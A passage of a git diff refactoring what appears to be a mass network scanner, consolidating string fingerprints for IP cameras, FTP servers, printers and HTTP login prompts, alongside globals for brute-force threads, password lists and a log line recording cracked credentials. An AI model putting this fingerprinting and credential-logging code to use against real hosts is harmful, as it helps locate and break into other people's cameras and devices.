lstOfLabels.append(ssh); QList<int> lstOfLabelsCopy = lstOfLabels; - qSort(lstOfLabelsCopy.begin(), lstOfLabelsCopy.end(), qGreater<float>()); - int curVal = lstOfLabelsCopy[0]; - if(curVal > MaxDataVal) MaxDataVal = curVal; - if(curVal > tMax) tMax = curVal; + qSort(lstOfLabelsCopy.begin(), lstOfLabelsCopy.end(), qGreater<float>()); + if(lstOfLabelsCopy[0] > MaxDataVal) MaxDataVal = lstOfLabelsCopy[0]; dtQoS->doEmitionAddLine(); } @@ -56,9 +49,9 @@ void DrawerTh_QoSScanner::run() ssh = 0; msleep(2000); }; -}; +} void DrawerTh_QoSScanner::doEmitionAddLine() { emit dtQoS->sAddLine(); -}; \ No newline at end of file +} diff --git a/IRCPinger_Th.cpp b/IRCPinger_Th.cpp index aaec3e0..29fde02 100644 --- a/IRCPinger_Th.cpp +++ b/IRCPinger_Th.cpp @@ -1,4 +1,3 @@ -#pragma once #include "IRCPinger_Th.h" #include "externData.h" @@ -28,4 +27,4 @@ void IRCPinger_Th::run() ++globalPinger; msleep(1000); }; -}; \ No newline at end of file +}; diff --git a/Utils.h b/Utils.h index 647bde6..a0e7297 100644 --- a/Utils.h +++ b/Utils.h @@ -11,9 +11,9 @@ struct my_equal { my_equal( const locale loc ) : loc_(loc) {} bool operator()(charT ch1, charT ch2) { #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - return toupper(ch1) == toupper(ch2); + return tolower(ch1) == tolower(ch2); #else - return toupper(ch1, loc_) == toupper(ch2, loc_); + return tolower(ch1, loc_) == tolower(ch2, loc_); #endif } private: @@ -33,6 +33,17 @@ public: else return -1; } + template<typename T> static int ci_find_substr(const T& str1, + const char* str2c, + const locale& loc = locale()) { + + std::string str2 = std::string(str2c); + auto it = std::search(str1.begin(), str1.end(), str2.begin(), str2.end(), + my_equal<typename T::value_type>(loc)); + if(it != str1.end()) return it - str1.begin(); + else return -1; + } + char * getProxy(); int getProxyPort(); }; diff --git a/connector_old.cpp b/connector_old.cpp index 0d3140f..6dc19fe 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -224,7 +224,7 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff) int x = 1; int xx = 0; - ZeroMemory(rvBuff, sizeof(rvBuff)); + ZeroMemory(rvBuff, sizeof(*rvBuff)); while(xx < 512) { x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); diff --git a/externData.h b/externData.h index 23945fd..a696a3f 100644 --- a/externData.h +++ b/externData.h @@ -17,9 +17,9 @@ extern QJsonArray *jsonArr; -extern unsigned long long gTargetsOverall, Activity; +extern unsigned long long gTargetsOverall; extern char top_level_domain[128]; -extern volatile int BA, cons, BrutingThrds, gThreads; +extern volatile int cons, BrutingThrds, gThreads; extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives; extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened, widgetIsHidden, OnlineMsgSentFlag, utfIRCFlag, HTMLDebugMode, gNegDebugMode, @@ -32,8 +32,10 @@ extern int found, indexIP, gMode, gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved, Susp, WF, + BA, offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; -extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[32], +extern unsigned int Activity; +extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64], ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], trcPort[32], trcSrvPortLine[32], saveStartIP[128], saveEndIP[128], gRange[128], gFirstDom[128], gPorts[65536], endIP2[128], diff --git a/finder.cpp b/finder.cpp index 9e1f868..e5e0fbf 100644 --- a/finder.cpp +++ b/finder.cpp @@ -1,5 +1,4 @@ -#pragma once -#include "STh.h" +#include "STh.h" #include "mainResources.h" #include "externFunctions.h" #include "externData.h" @@ -183,13 +182,13 @@ char *GetCodePage(const char *str) }; } -int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) +int globalSearchNeg(const char *buffcpy, char *ip, int port) { char negWord[256] = {0}; - for(int i = 0; i < GlobalNegativeSize; i++) + for(int i = 0; i < GlobalNegativeSize; ++i) { - if(globalScanFlag) - { + if(!globalScanFlag) break; + strcpy(negWord, GlobalNegatives[i]); if(strstr(buffcpy, negWord) != NULL) { @@ -209,16 +208,18 @@ int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port) stt->doEmitionDebugFoundData("Space hit!"); }; }; + ++Filt; return -1; }; - }; + + ZeroMemory(negWord, 256); }; - return 0; + return -1; } -int globalSearchPrnt(char *buffcpy) +int globalSearchPrnt(const char *buffcpy) { if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL || strstr(buffcpy, "konica minolta") != NULL || strstr(buffcpy, "/eng/home_frm.htm") != NULL @@ -237,198 +238,125 @@ int globalSearchPrnt(char *buffcpy) { stt->doEmitionDebugFoundData("Printer detected."); }; + return -1; }; + + return 0; +} + +int sharedDetector(char * ip, int port, const char *buffcpy) { + + if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL + || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) + || strstr(buffcpy, "401 unauthorized access denied") != NULL + || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL + && strstr(buffcpy, " 401\r\n") != NULL) + ) { + if(strstr(buffcpy, "digest realm") != NULL && strstr(buffcpy, "basic realm") == NULL) { + return 101; + } else return 1; + }; + if(strstr(buffcpy, "netwave ip camera")) return 11; + if(strstr(buffcpy, "live view / - axis")) return 12; + if(strstr(buffcpy, "vilar ipcamera")) return 13; + if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; + if(strstr(buffcpy, "httpfileserver")) return 15; + if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL + || strstr(buffcpy, "server push mode") != NULL + ) return 17; //Real-time IP Camera Monitoring System + if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras + if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras + if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras + if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon + if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 + if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera + if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 + if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera + if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras + if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX + if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras + if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL + && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //web ip cam + if(strstr(buffcpy, "geovision") != NULL + && (strstr(buffcpy, "ip camera") != NULL + || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam + + if(strstr(buffcpy, "hikvision-webs") != NULL + || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) + || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam + if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) + || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam + if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam + if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 + if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam + if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300 + if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera + if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera + if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera + if(strstr(buffcpy, "lapassword") != NULL + && strstr(buffcpy, "lausername") != NULL + && strstr(buffcpy, "g_ologin.dologin()") != NULL + ) return 44; //hikvision cam 2 + if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG??? + if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk + if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server + if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL + && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam + if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL + && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX + if (strstr(buffcpy, "seyeon") != NULL && (strstr(buffcpy, "/app/multi/single.asp") != NULL + || strstr(buffcpy, "/app/live/sim/single.asp") != NULL)) return 50; //Network Video System + + if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || + (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || + (strstr(buffcpy, "220 ftp server ready") != NULL) + || strstr(buffcpy, "500 'get': command not understood") != NULL + ) return 16; // 16 - FTP + + if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL + || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL + || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL + || strstr(buffcpy, "network camera") != NULL + || strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL + || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL + || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL + || strstr(buffcpy, "ipcam") != NULL) + && strstr(buffcpy, "customer") == NULL + && strstr(buffcpy, "purchase") == NULL + && strstr(buffcpy, "contac") == NULL + && strstr(buffcpy, "company") == NULL + ) return 0; + + if(globalSearchNeg(buffcpy, ip, port) == -1) return -1; + if(globalSearchPrnt(buffcpy) == -1) return -1; + if(strstr(buffcpy, "<form ") != NULL && strstr(buffcpy, "302 found") == NULL) return 10; + + return -2; } // 500 < 1600 -Lexems lxf; -int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) -{ - if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) - || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) - ) - && strstr(buffcpy, "digest realm") != NULL - && strstr(buffcpy, "basic realm") == NULL - ) return 101; - if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) - || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) - ) return 1; - if(strstr(buffcpy, "netwave ip camera")) return 11; - if(strstr(buffcpy, "live view / - axis")) return 12; - if(strstr(buffcpy, "vilar ipcamera")) return 13; - if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; - if(strstr(buffcpy, "httpfileserver")) return 15; - if(((strstr(buffcpy, "220") != NULL && port == 21) || - strstr(buffcpy, "220 diskstation ftp server ready") != NULL || - strstr(buffcpy, "220 ftp server ready") != NULL || - strstr(buffcpy, "500 'get': command not understood") != NULL - ) - && strstr(buffcpy, "firewall authentication required") == NULL) return 16; // 16 - FTP - if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL || - strstr(buffcpy, "server push mode") != NULL - ) return 17; //Real-time IP Camera Monitoring System - if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras - if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras - if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras - if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon - if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 - if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera - if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 - if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera - if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX - if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams - if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL - && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //IPC web ip cam - if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL - || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam - if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL - && strstr(buffcpy, "dvrdvs-webs") != NULL) - || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL - && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam - if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) - || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam - if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam - if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 - if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL - && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam - if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300 - if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera - if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera - if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera - if(strstr(buffcpy, "lapassword") != NULL - && strstr(buffcpy, "lausername") != NULL - && strstr(buffcpy, "g_ologin.dologin()") != NULL - ) return 44; //hikvision cam 2 - if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG??? - if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk - if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server - if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL - && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam - if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL - && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - if (strstr(buffcpy, "seyeon") != NULL && (strstr(buffcpy, "/app/multi/single.asp") != NULL - || strstr(buffcpy, "/app/live/sim/single.asp") != NULL)) return 50; //Network Video System - - if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL - || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL - || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL - || strstr(buffcpy, "network camera") != NULL - || strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL - || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL - || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL - || strstr(buffcpy, "ipcam") != NULL) - && strstr(buffcpy, "customer") == NULL - && strstr(buffcpy, "purchase") == NULL - && strstr(buffcpy, "contac") == NULL - && strstr(buffcpy, "company") == NULL - ) return 0; +int _mainFinderFirst(const char *buffcpy, int f, int port, char *ip) +{ + int flag = sharedDetector(ip, port, buffcpy); + if(flag != -2) return flag; - if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1; - if(globalSearchPrnt(buffcpy) == -1) return -1; - if(strstr(buffcpy, "<form ") != NULL && strstr(buffcpy, "302 found") == NULL) return 10; - if(f) return 7; + if(f) return 7; return 0; } //> 1600 -int _mainFinderSecond(char *buffcpy, int port, char *ip) +int _mainFinderSecond(const char *buffcpy, int port, char *ip) { - if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL - || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) - || strstr(buffcpy, "401 unauthorized access denied") != NULL - || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL - && strstr(buffcpy, " 401\r\n") != NULL) - ) - && strstr(buffcpy, "digest realm") != NULL && strstr(buffcpy, "basic realm") == NULL - ) return 101; - if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL - || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) - || strstr(buffcpy, "401 unauthorized access denied") != NULL - || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL - && strstr(buffcpy, " 401\r\n") != NULL) - ) return 1; - if(strstr(buffcpy, "netwave ip camera")) return 11; - if(strstr(buffcpy, "live view / - axis")) return 12; - if(strstr(buffcpy, "vilar ipcamera")) return 13; - if(strstr(buffcpy, "window.location = \"rdr.cgi\"")) return 14; - if(strstr(buffcpy, "httpfileserver")) return 15; - if(strstr(buffcpy, "real-time ip camera monitoring system") != NULL || - strstr(buffcpy, "server push mode") != NULL - ) return 17; //Real-time IP Camera Monitoring System - if(strstr(buffcpy, "linksys.com") != NULL && strstr(buffcpy, "tm05") != NULL) return 18; //linksys.com cameras - if(strstr(buffcpy, "reecam ip camera") != NULL) return 19; //reecam cameras - if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras - if(strstr(buffcpy, "bridge eyeon") != NULL) return 21; //Bridge Eyeon - if(strstr(buffcpy, "ip camera control webpage") != NULL && strstr(buffcpy, "/main/cs_motion.asp") != NULL) return 22; //ip camera control - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/live/index2.html") != NULL) return 23; //network camera BB-SC384 - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/en/live.html") != NULL) return 24; //Network Camera VB-M40 - if(strstr(buffcpy, "panasonic ") != NULL && strstr(buffcpy, ":60002/snapshotjpeg") != NULL) return 25; //Panasonic wtfidonteven-camera - if(strstr(buffcpy, "sony network camera") != NULL && strstr(buffcpy, "/command/inquiry.cgi?") != NULL) return 26; //Sony Network Camera - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "src=\"webs.cgi?") != NULL) return 27; //UA Network Camera - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/viewer/live/index.html") != NULL) return 28; //Network Camera VB-M40 - if(strstr(buffcpy, "lg smart ip device") != NULL) return 29; //LG Smart IP Device Camera - if(strstr(buffcpy, "/view/viewer_index.shtml") != NULL) return 20; //axis cameras - if(strstr(buffcpy, "nas") != NULL && strstr(buffcpy, "/cgi-bin/data/viostor-220/viostor/viostor.cgi") != NULL) return 30; //NAX - if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras - if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //web ip cam - if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam + int flag = sharedDetector(ip, port, buffcpy); + if(flag != -2) return flag; - if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) - || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam - if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) - || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam - if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam - if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 - if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam - if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye - if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300 - if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera - if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera - if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera - if(strstr(buffcpy, "lapassword") != NULL - && strstr(buffcpy, "lausername") != NULL - && strstr(buffcpy, "g_ologin.dologin()") != NULL - ) return 44; //hikvision cam 2 - if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG??? - if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk - if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server - if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL - && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam - if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL - && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX - if (strstr(buffcpy, "seyeon") != NULL && (strstr(buffcpy, "/app/multi/single.asp") != NULL - || strstr(buffcpy, "/app/live/sim/single.asp") != NULL)) return 50; //Network Video System - - if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || - (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || - (strstr(buffcpy, "220 ftp server ready") != NULL) - || strstr(buffcpy, "500 'get': command not understood") != NULL - ) return 16; // 16 - FTP - - if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL - || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL - || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL - || strstr(buffcpy, "network camera") != NULL - || strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL - || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL - || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL - || strstr(buffcpy, "ipcam") != NULL) - && strstr(buffcpy, "customer") == NULL - && strstr(buffcpy, "purchase") == NULL - && strstr(buffcpy, "contac") == NULL - && strstr(buffcpy, "company") == NULL - ) return 0; - - if(lxf.globalSearchNeg(buffcpy, ip, port) == -1) return -1; - if(globalSearchPrnt(buffcpy) == -1) return -1; - if(strstr(buffcpy, "<form ") != NULL && strstr(buffcpy, "302 found") == NULL) return 10; return 3; //Suspicious } @@ -456,20 +384,21 @@ int ContentFilter(const char *buff, int port, char *ip, char *cp) char *lBuff = new char[sz + 1]; ZeroMemory(lBuff, sz + 1); strcpy(lBuff, tempString.c_str()); - memset(lBuff + sz, '\0', 1); + if(sz <= 500) { - res = _mainFinderFirst(lBuff, 1, port, ip); + res = _mainFinderFirst(lBuff, 1, port, ip); } else if((sz > 500 && sz <= 3500) || sz > 180000) { - res = _mainFinderFirst(lBuff, 0, port, ip); + res = _mainFinderFirst(lBuff, 0, port, ip); } else if(sz > 3500 && sz <= 180000) { - res = _mainFinderSecond(lBuff, port, ip); + res = _mainFinderSecond(lBuff, port, ip); }; + delete []lBuff; return res; } @@ -559,7 +488,6 @@ void fputsf(char *text, int flag, char *msg) { FILE *file = NULL; -#pragma region FileExistenceCheck if(flag == 0 || flag == 15 || flag == -10) { if(ftsAnom) ftsAnom = __checkFileExistence(flag); @@ -649,7 +577,6 @@ void fputsf(char *text, int flag, char *msg) strcat (string, "</div>"); }; -#pragma region styleFiller if(flag == 0 && ftsAnom) { char tmsg[1024] = {0}; @@ -908,26 +835,8 @@ void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, ++PieWF; - sprintf(log, "[WF]:<span id=\"hostSpan\"><a href=\"http://%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font> Pass: <font color=SteelBlue>%s:%s</font>\n" - , ip, port, ip, port, finalstr, login, pass); - - strcpy(log, "[WF]:"); - strcat(log, "<span id=\"hostSpan\"><a href=\"http://"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "\"><font color=MediumSeaGreen>"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "</font></a></span> T: <font color=GoldenRod>"); - strcat(log, finalstr); - strcat(log, "</font> Pass: <font color=SteelBlue>"); - strcat(log, login); - strcat(log, ":"); - strcat(log, pass); - strcat(log, "</font>"); - strcat(log, "\n"); + sprintf(log, "[WF]:<span id=\"hostSpan\"><a href=\"http://%s:%s\"><font color=MediumSeaGreen>%s:%s</font></a></span> T: <font color=GoldenRod>%s</font> Pass: <font color=SteelBlue>%s:%s</font>\n", + ip, port, ip, port, finalstr, login, pass); stt->doEmitionFoundData(QString::fromLocal8Bit(log)); diff --git a/mainResources.h b/mainResources.h index 6aa3ab2..ec78631 100644 --- a/mainResources.h +++ b/mainResources.h @@ -31,7 +31,7 @@ #include <cstring> #define ZeroMemory(Destination,Length) memset((Destination),0,(Length)) -#define 